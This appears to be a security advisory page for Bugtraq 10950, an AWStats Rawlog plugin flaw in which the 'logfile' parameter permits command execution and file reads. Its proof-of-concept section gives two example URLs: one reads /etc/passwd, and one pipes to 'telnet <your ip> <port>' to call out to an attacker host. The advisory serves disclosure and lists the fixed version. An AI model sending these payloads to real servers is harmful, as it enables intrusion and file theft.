AWStats Rawlog Plugin Logfile Parameter Input Validation Vulnerability

BID:10950

Info

AWStats Rawlog Plugin Logfile Parameter Input Validation Vulnerability

Bugtraq ID: 10950
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 16 2004 12:00AM
Updated: Aug 16 2004 12:00AM
Credit: Discovery of this vulnerability is credited to K-sPecial.
Vulnerable: AWStats AWStats 6.3
AWStats AWStats 6.2
AWStats AWStats 6.1
AWStats AWStats 6.0
AWStats AWStats 5.9
AWStats AWStats 5.8
AWStats AWStats 5.7
AWStats AWStats 5.6
AWStats AWStats 5.5
AWStats AWStats 5.4
AWStats AWStats 5.3
AWStats AWStats 5.2
AWStats AWStats 5.1
AWStats AWStats 5.0
Not Vulnerable: AWStats AWStats 6.5.0 build 1.857

Discussion

AWStats Rawlog Plugin Logfile Parameter Input Validation Vulnerability

AWStats Rawlog Plugin is reported prone to an input validation vulnerability. The issue is reported to exist because user supplied 'logfile' URI data passed to the 'awstats.pl' script is not sanitized.

An attacker may exploit this condition to execute commands remotely or disclose contents of web server readable files.

It should be noted that although this vulnerability is reported to affect AWStats version 6.1, other versions might also be affected.

Exploit / POC

AWStats Rawlog Plugin Logfile Parameter Input Validation Vulnerability

There is no exploit required, the following example is available:

http://www.example.com/awstats.pl?filterrawlog=&rawlog_maxlines=5000&config=www.example.com&framename=main&pluginmode=rawlog&logfile=/etc/passwd
http://www.example.com/awstats.pl?filterrawlog=&rawlog_maxlines=5000&config=www.example.com&framename=main&pluginmode=rawlog&logfile=&logfile=|telnet <your ip> <port>

Where the '&config' parameter value is the configuration file for www.example.com. It is reported that the configuration filename can be harvested from the HTML source of the awstats page for the target site.

Solution / Fix

AWStats Rawlog Plugin Logfile Parameter Input Validation Vulnerability

Solution:
The vendor has released AWStats 6.4 to address this issue.


AWStats AWStats 5.0

AWStats AWStats 5.1

AWStats AWStats 5.2

AWStats AWStats 5.3

AWStats AWStats 5.4

AWStats AWStats 5.5

AWStats AWStats 5.6

AWStats AWStats 5.7

AWStats AWStats 5.8

AWStats AWStats 5.9

AWStats AWStats 6.0

AWStats AWStats 6.1

AWStats AWStats 6.2

AWStats AWStats 6.3

References

AWStats Rawlog Plugin Logfile Parameter Input Validation Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report